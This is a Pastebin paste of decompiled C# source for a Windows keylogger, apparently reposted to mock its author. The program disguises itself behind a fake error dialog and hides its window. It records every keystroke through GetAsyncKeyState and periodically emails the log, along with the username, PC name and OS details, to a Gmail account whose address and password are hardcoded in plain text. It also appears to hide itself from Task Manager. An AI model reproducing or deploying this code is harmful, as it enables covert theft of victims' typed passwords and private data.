Advertisement
Guest User

Untitled

a guest
Nov 8th, 2015
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.63 KB | None | 0 0
  1. atleast encrypt your password next time :^)
  2.  
  3.  
  4.  
  5. using Microsoft.VisualBasic;
  6. using Microsoft.VisualBasic.CompilerServices;
  7. using System;
  8. using System.ComponentModel;
  9. using System.Diagnostics;
  10. using System.Drawing;
  11. using System.Media;
  12. using System.Net;
  13. using System.Net.Mail;
  14. using System.Runtime.CompilerServices;
  15. using System.Runtime.InteropServices;
  16. using System.Windows.Forms;
  17. using zbackround.My;
  18.  
  19. namespace zbackround
  20. {
  21. [DesignerGenerated]
  22. public class Form1 : Form
  23. {
  24. private IContainer components;
  25.  
  26. [AccessedThroughProperty("Timer1")]
  27. private Timer _Timer1;
  28.  
  29. [AccessedThroughProperty("TextBox1")]
  30. private TextBox _TextBox1;
  31.  
  32. [AccessedThroughProperty("Timer2")]
  33. private Timer _Timer2;
  34.  
  35. [AccessedThroughProperty("Button1")]
  36. private Button _Button1;
  37.  
  38. [AccessedThroughProperty("Button2")]
  39. private Button _Button2;
  40.  
  41. [AccessedThroughProperty("Label1")]
  42. private Label _Label1;
  43.  
  44. [AccessedThroughProperty("Button3")]
  45. private Button _Button3;
  46.  
  47. private int countdown;
  48.  
  49. internal virtual Timer Timer1
  50. {
  51. get
  52. {
  53. return this._Timer1;
  54. }
  55. [MethodImpl(MethodImplOptions.Synchronized)]
  56. set
  57. {
  58. EventHandler value2 = new EventHandler(this.Timer1_Tick);
  59. if (this._Timer1 != null)
  60. {
  61. this._Timer1.Tick -= value2;
  62. }
  63. this._Timer1 = value;
  64. if (this._Timer1 != null)
  65. {
  66. this._Timer1.Tick += value2;
  67. }
  68. }
  69. }
  70.  
  71. internal virtual TextBox TextBox1
  72. {
  73. get
  74. {
  75. return this._TextBox1;
  76. }
  77. [MethodImpl(MethodImplOptions.Synchronized)]
  78. set
  79. {
  80. EventHandler value2 = new EventHandler(this.TextBox1_TextChanged);
  81. if (this._TextBox1 != null)
  82. {
  83. this._TextBox1.TextChanged -= value2;
  84. }
  85. this._TextBox1 = value;
  86. if (this._TextBox1 != null)
  87. {
  88. this._TextBox1.TextChanged += value2;
  89. }
  90. }
  91. }
  92.  
  93. internal virtual Timer Timer2
  94. {
  95. get
  96. {
  97. return this._Timer2;
  98. }
  99. [MethodImpl(MethodImplOptions.Synchronized)]
  100. set
  101. {
  102. EventHandler value2 = new EventHandler(this.Timer2_Tick);
  103. if (this._Timer2 != null)
  104. {
  105. this._Timer2.Tick -= value2;
  106. }
  107. this._Timer2 = value;
  108. if (this._Timer2 != null)
  109. {
  110. this._Timer2.Tick += value2;
  111. }
  112. }
  113. }
  114.  
  115. internal virtual Button Button1
  116. {
  117. get
  118. {
  119. return this._Button1;
  120. }
  121. [MethodImpl(MethodImplOptions.Synchronized)]
  122. set
  123. {
  124. EventHandler value2 = new EventHandler(this.Button1_Click);
  125. if (this._Button1 != null)
  126. {
  127. this._Button1.Click -= value2;
  128. }
  129. this._Button1 = value;
  130. if (this._Button1 != null)
  131. {
  132. this._Button1.Click += value2;
  133. }
  134. }
  135. }
  136.  
  137. internal virtual Button Button2
  138. {
  139. get
  140. {
  141. return this._Button2;
  142. }
  143. [MethodImpl(MethodImplOptions.Synchronized)]
  144. set
  145. {
  146. EventHandler value2 = new EventHandler(this.Button2_Click);
  147. if (this._Button2 != null)
  148. {
  149. this._Button2.Click -= value2;
  150. }
  151. this._Button2 = value;
  152. if (this._Button2 != null)
  153. {
  154. this._Button2.Click += value2;
  155. }
  156. }
  157. }
  158.  
  159. internal virtual Label Label1
  160. {
  161. get
  162. {
  163. return this._Label1;
  164. }
  165. [MethodImpl(MethodImplOptions.Synchronized)]
  166. set
  167. {
  168. this._Label1 = value;
  169. }
  170. }
  171.  
  172. internal virtual Button Button3
  173. {
  174. get
  175. {
  176. return this._Button3;
  177. }
  178. [MethodImpl(MethodImplOptions.Synchronized)]
  179. set
  180. {
  181. EventHandler value2 = new EventHandler(this.Button3_Click);
  182. if (this._Button3 != null)
  183. {
  184. this._Button3.Click -= value2;
  185. }
  186. this._Button3 = value;
  187. if (this._Button3 != null)
  188. {
  189. this._Button3.Click += value2;
  190. }
  191. }
  192. }
  193.  
  194. public Form1()
  195. {
  196. base.Load += new EventHandler(this.Form1_Load);
  197. this.countdown = 1801;
  198. this.InitializeComponent();
  199. }
  200.  
  201. [DebuggerNonUserCode]
  202. protected override void Dispose(bool disposing)
  203. {
  204. try
  205. {
  206. if (disposing && this.components != null)
  207. {
  208. this.components.Dispose();
  209. }
  210. }
  211. finally
  212. {
  213. base.Dispose(disposing);
  214. }
  215. }
  216.  
  217. [DebuggerStepThrough]
  218. private void InitializeComponent()
  219. {
  220. this.components = new Container();
  221. this.Timer1 = new Timer(this.components);
  222. this.TextBox1 = new TextBox();
  223. this.Timer2 = new Timer(this.components);
  224. this.Button1 = new Button();
  225. this.Button2 = new Button();
  226. this.Label1 = new Label();
  227. this.Button3 = new Button();
  228. this.SuspendLayout();
  229. this.Timer1.Interval = 1;
  230. Control arg_88_0 = this.TextBox1;
  231. Point location = new Point(12, 12);
  232. arg_88_0.Location = location;
  233. this.TextBox1.Multiline = true;
  234. this.TextBox1.Name = "TextBox1";
  235. Control arg_C1_0 = this.TextBox1;
  236. Size size = new Size(260, 237);
  237. arg_C1_0.Size = size;
  238. this.TextBox1.TabIndex = 0;
  239. this.Timer2.Interval = 1000;
  240. Control arg_F2_0 = this.Button1;
  241. location = new Point(3, -1);
  242. arg_F2_0.Location = location;
  243. this.Button1.Name = "Button1";
  244. Control arg_119_0 = this.Button1;
  245. size = new Size(75, 23);
  246. arg_119_0.Size = size;
  247. this.Button1.TabIndex = 1;
  248. this.Button1.Text = "Button1";
  249. this.Button1.UseVisualStyleBackColor = true;
  250. Control arg_15E_0 = this.Button2;
  251. location = new Point(218, 246);
  252. arg_15E_0.Location = location;
  253. this.Button2.Name = "Button2";
  254. Control arg_185_0 = this.Button2;
  255. size = new Size(75, 23);
  256. arg_185_0.Size = size;
  257. this.Button2.TabIndex = 2;
  258. this.Button2.Text = "Button2";
  259. this.Button2.UseVisualStyleBackColor = true;
  260. this.Label1.AutoSize = true;
  261. Control arg_1CF_0 = this.Label1;
  262. location = new Point(123, -1);
  263. arg_1CF_0.Location = location;
  264. this.Label1.Name = "Label1";
  265. Control arg_1F6_0 = this.Label1;
  266. size = new Size(39, 13);
  267. arg_1F6_0.Size = size;
  268. this.Label1.TabIndex = 3;
  269. this.Label1.Text = "Label1";
  270. Control arg_22B_0 = this.Button3;
  271. location = new Point(261, -1);
  272. arg_22B_0.Location = location;
  273. this.Button3.Name = "Button3";
  274. Control arg_252_0 = this.Button3;
  275. size = new Size(75, 23);
  276. arg_252_0.Size = size;
  277. this.Button3.TabIndex = 4;
  278. this.Button3.Text = "Button3";
  279. this.Button3.UseVisualStyleBackColor = true;
  280. SizeF autoScaleDimensions = new SizeF(6f, 13f);
  281. this.AutoScaleDimensions = autoScaleDimensions;
  282. this.AutoScaleMode = AutoScaleMode.Font;
  283. size = new Size(284, 260);
  284. this.ClientSize = size;
  285. this.Controls.Add(this.Button3);
  286. this.Controls.Add(this.Label1);
  287. this.Controls.Add(this.Button2);
  288. this.Controls.Add(this.Button1);
  289. this.Controls.Add(this.TextBox1);
  290. this.Name = "Form1";
  291. this.Text = "Error";
  292. this.ResumeLayout(false);
  293. this.PerformLayout();
  294. }
  295.  
  296. [DllImport("user32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  297. private static extern int GetAsyncKeyState(long vKey);
  298.  
  299. private void Form1_Load(object sender, EventArgs e)
  300. {
  301. this.Timer1.Start();
  302. this.Timer2.Start();
  303. this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
  304. this.WindowState = FormWindowState.Minimized;
  305. this.Visible = false;
  306. this.ShowInTaskbar = false;
  307. MyProject.Computer.Audio.PlaySystemSound(SystemSounds.Exclamation);
  308. Interaction.MsgBox("Error Code: 61684", MsgBoxStyle.OkOnly, null);
  309. this.Visible = false;
  310. }
  311.  
  312. private void Timer1_Tick(object sender, EventArgs e)
  313. {
  314. int num = 1;
  315. do
  316. {
  317. int asyncKeyState = Form1.GetAsyncKeyState((long)num);
  318. try
  319. {
  320. if (asyncKeyState == -32767)
  321. {
  322. if (!MyProject.Computer.Keyboard.ShiftKeyDown || MyProject.Computer.Keyboard.CapsLock)
  323. {
  324. int num2 = num;
  325. if (num2 == 32)
  326. {
  327. TextBox textBox = this.TextBox1;
  328. textBox.Text += " ";
  329. }
  330. else if (num2 == 8)
  331. {
  332. TextBox textBox = this.TextBox1;
  333. textBox.Text += "{BackSpace}";
  334. }
  335. else if (num2 == 48)
  336. {
  337. TextBox textBox = this.TextBox1;
  338. textBox.Text += "0";
  339. }
  340. else if (num2 == 49)
  341. {
  342. TextBox textBox = this.TextBox1;
  343. textBox.Text += "1";
  344. }
  345. else if (num2 == 50)
  346. {
  347. TextBox textBox = this.TextBox1;
  348. textBox.Text += "2";
  349. }
  350. else if (num2 == 51)
  351. {
  352. TextBox textBox = this.TextBox1;
  353. textBox.Text += "3";
  354. }
  355. else if (num2 == 52)
  356. {
  357. TextBox textBox = this.TextBox1;
  358. textBox.Text += "4";
  359. }
  360. else if (num2 == 53)
  361. {
  362. TextBox textBox = this.TextBox1;
  363. textBox.Text += "5";
  364. }
  365. else if (num2 == 54)
  366. {
  367. TextBox textBox = this.TextBox1;
  368. textBox.Text += "6";
  369. }
  370. else if (num2 == 55)
  371. {
  372. TextBox textBox = this.TextBox1;
  373. textBox.Text += "7";
  374. }
  375. else if (num2 == 56)
  376. {
  377. TextBox textBox = this.TextBox1;
  378. textBox.Text += "8";
  379. }
  380. else if (num2 == 57)
  381. {
  382. TextBox textBox = this.TextBox1;
  383. textBox.Text += "9";
  384. }
  385. else if (num2 == 190)
  386. {
  387. TextBox textBox = this.TextBox1;
  388. textBox.Text += ".";
  389. }
  390. else if (num2 == 191)
  391. {
  392. TextBox textBox = this.TextBox1;
  393. textBox.Text += "/";
  394. }
  395. else if (num2 >= 65 && num2 <= 90)
  396. {
  397. TextBox textBox = this.TextBox1;
  398. textBox.Text += Strings.Chr(num).ToString().ToLower();
  399. }
  400. else if (num2 == 13)
  401. {
  402. TextBox textBox = this.TextBox1;
  403. textBox.Text += Environment.NewLine;
  404. }
  405. }
  406. else if (MyProject.Computer.Keyboard.ShiftKeyDown || MyProject.Computer.Keyboard.CapsLock)
  407. {
  408. int num3 = num;
  409. if (num3 == 8)
  410. {
  411. TextBox textBox = this.TextBox1;
  412. textBox.Text += "{BACKSPACE}";
  413. }
  414. else if (num3 >= 65 && num3 <= 90)
  415. {
  416. TextBox textBox = this.TextBox1;
  417. textBox.Text += Strings.Chr(num).ToString().ToUpper();
  418. }
  419. else if (num3 == 13)
  420. {
  421. TextBox textBox = this.TextBox1;
  422. textBox.Text += Environment.NewLine;
  423. }
  424. else if (num3 == 48)
  425. {
  426. TextBox textBox = this.TextBox1;
  427. textBox.Text += ")";
  428. }
  429. else if (num3 == 49)
  430. {
  431. TextBox textBox = this.TextBox1;
  432. textBox.Text += "!";
  433. }
  434. else if (num3 == 50)
  435. {
  436. TextBox textBox = this.TextBox1;
  437. textBox.Text += "@";
  438. }
  439. else if (num3 == 51)
  440. {
  441. TextBox textBox = this.TextBox1;
  442. textBox.Text += "#";
  443. }
  444. else if (num3 == 52)
  445. {
  446. TextBox textBox = this.TextBox1;
  447. textBox.Text += "$";
  448. }
  449. else if (num3 == 53)
  450. {
  451. TextBox textBox = this.TextBox1;
  452. textBox.Text += "%";
  453. }
  454. else if (num3 == 54)
  455. {
  456. TextBox textBox = this.TextBox1;
  457. textBox.Text += "^";
  458. }
  459. else if (num3 == 55)
  460. {
  461. TextBox textBox = this.TextBox1;
  462. textBox.Text += "&";
  463. }
  464. else if (num3 == 56)
  465. {
  466. TextBox textBox = this.TextBox1;
  467. textBox.Text += "*";
  468. }
  469. else if (num3 == 57)
  470. {
  471. TextBox textBox = this.TextBox1;
  472. textBox.Text += "(";
  473. }
  474. else if (num3 == 32)
  475. {
  476. TextBox textBox = this.TextBox1;
  477. textBox.Text += " ";
  478. }
  479. else if (num3 == 190)
  480. {
  481. TextBox textBox = this.TextBox1;
  482. textBox.Text += ".";
  483. }
  484. else if (num3 == 191)
  485. {
  486. TextBox textBox = this.TextBox1;
  487. textBox.Text += "?";
  488. }
  489. else if (num3 == 38)
  490. {
  491. this.WindowState = FormWindowState.Normal;
  492. this.ShowInTaskbar = true;
  493. this.Visible = true;
  494. }
  495. }
  496. }
  497. }
  498. catch (Exception expr_600)
  499. {
  500. ProjectData.SetProjectError(expr_600);
  501. ProjectData.ClearProjectError();
  502. }
  503. checked
  504. {
  505. num++;
  506. }
  507. }
  508. while (num <= 255);
  509. }
  510.  
  511. private void TextBox1_TextChanged(object sender, EventArgs e)
  512. {
  513. }
  514.  
  515. private void Timer2_Tick(object sender, EventArgs e)
  516. {
  517. if (this.countdown == 0)
  518. {
  519. try
  520. {
  521. SmtpClient smtpClient = new SmtpClient();
  522. MailMessage mailMessage = new MailMessage();
  523. smtpClient.UseDefaultCredentials = false;
  524. smtpClient.Credentials = new NetworkCredential("openemail12345@Gmail.com", "login12345");
  525. smtpClient.Port = 587;
  526. smtpClient.EnableSsl = true;
  527. smtpClient.Host = "smtp.gmail.com";
  528. mailMessage = new MailMessage();
  529. mailMessage.From = new MailAddress("openemail12345@Gmail.com");
  530. mailMessage.To.Add("openemail12345@Gmail.com");
  531. mailMessage.Subject = string.Concat(new string[]
  532. {
  533. "KeyLogger ",
  534. DateTime.Now.ToLongTimeString(),
  535. " ",
  536. SystemInformation.UserName,
  537. " ",
  538. SystemInformation.UserDomainName
  539. });
  540. mailMessage.IsBodyHtml = false;
  541. string text = string.Concat(new string[]
  542. {
  543. "Users LocalTime: ",
  544. DateTime.Now.ToLongTimeString(),
  545. Environment.NewLine,
  546. " Users System UserName: ",
  547. SystemInformation.UserName,
  548. Environment.NewLine,
  549. " Users Pc Name: ",
  550. SystemInformation.UserDomainName,
  551. Environment.NewLine,
  552. " Monitor Resolution: ",
  553. MyProject.Computer.Screen.ToString(),
  554. Environment.NewLine,
  555. " OS Information: ",
  556. MyProject.Computer.Info.OSFullName.ToString(),
  557. " v. ",
  558. MyProject.Computer.Info.OSVersion.ToString(),
  559. Environment.NewLine,
  560. " Keylogger Logs ",
  561. Environment.NewLine,
  562. " "
  563. });
  564. mailMessage.Body = string.Concat(new string[]
  565. {
  566. "Computer specs: ",
  567. Environment.NewLine,
  568. text,
  569. Environment.NewLine,
  570. this.TextBox1.Text
  571. });
  572. smtpClient.Send(mailMessage);
  573. this.countdown = 1801;
  574. }
  575. catch (Exception expr_22B)
  576. {
  577. ProjectData.SetProjectError(expr_22B);
  578. Exception ex = expr_22B;
  579. Interaction.MsgBox(ex.ToString(), MsgBoxStyle.OkOnly, null);
  580. ProjectData.ClearProjectError();
  581. }
  582. }
  583. checked
  584. {
  585. this.countdown--;
  586. this.Label1.Text = Conversions.ToString((double)this.countdown / 60.0);
  587. }
  588. }
  589.  
  590. private void Button1_Click(object sender, EventArgs e)
  591. {
  592. try
  593. {
  594. SmtpClient smtpClient = new SmtpClient();
  595. MailMessage mailMessage = new MailMessage();
  596. smtpClient.UseDefaultCredentials = false;
  597. smtpClient.Credentials = new NetworkCredential("openemail12345@Gmail.com", "login12345");
  598. smtpClient.Port = 587;
  599. smtpClient.EnableSsl = true;
  600. smtpClient.Host = "smtp.gmail.com";
  601. mailMessage = new MailMessage();
  602. mailMessage.From = new MailAddress("openemail12345@Gmail.com");
  603. mailMessage.To.Add("openemail12345@Gmail.com");
  604. mailMessage.Subject = string.Concat(new string[]
  605. {
  606. "KeyLogger ",
  607. DateTime.Now.ToLongTimeString(),
  608. " ",
  609. SystemInformation.UserName,
  610. " ",
  611. SystemInformation.UserDomainName
  612. });
  613. mailMessage.IsBodyHtml = false;
  614. string text = string.Concat(new string[]
  615. {
  616. "Users LocalTime: ",
  617. DateTime.Now.ToLongTimeString(),
  618. Environment.NewLine,
  619. " Users System UserName: ",
  620. SystemInformation.UserName,
  621. Environment.NewLine,
  622. " Users Pc Name: ",
  623. SystemInformation.UserDomainName,
  624. Environment.NewLine,
  625. " Monitor Resolution: ",
  626. MyProject.Computer.Screen.ToString(),
  627. Environment.NewLine,
  628. " OS Information: ",
  629. MyProject.Computer.Info.OSFullName.ToString(),
  630. " v. ",
  631. MyProject.Computer.Info.OSVersion.ToString(),
  632. Environment.NewLine,
  633. " Keylogger Logs: ",
  634. Environment.NewLine,
  635. " "
  636. });
  637. mailMessage.Body = string.Concat(new string[]
  638. {
  639. "Computer specs: ",
  640. Environment.NewLine,
  641. text,
  642. Environment.NewLine,
  643. this.TextBox1.Text
  644. });
  645. smtpClient.Send(mailMessage);
  646. Interaction.MsgBox("Mail Sent", MsgBoxStyle.OkOnly, null);
  647. }
  648. catch (Exception expr_221)
  649. {
  650. ProjectData.SetProjectError(expr_221);
  651. Exception ex = expr_221;
  652. Interaction.MsgBox(ex.ToString(), MsgBoxStyle.OkOnly, null);
  653. ProjectData.ClearProjectError();
  654. }
  655. }
  656.  
  657. private void Button2_Click(object sender, EventArgs e)
  658. {
  659. this.WindowState = FormWindowState.Minimized;
  660. this.ShowInTaskbar = false;
  661. }
  662.  
  663. private void Button3_Click(object sender, EventArgs e)
  664. {
  665. TMListViewDelete.Running = true;
  666. this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
  667. this.Visible = false;
  668. }
  669. }
  670. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement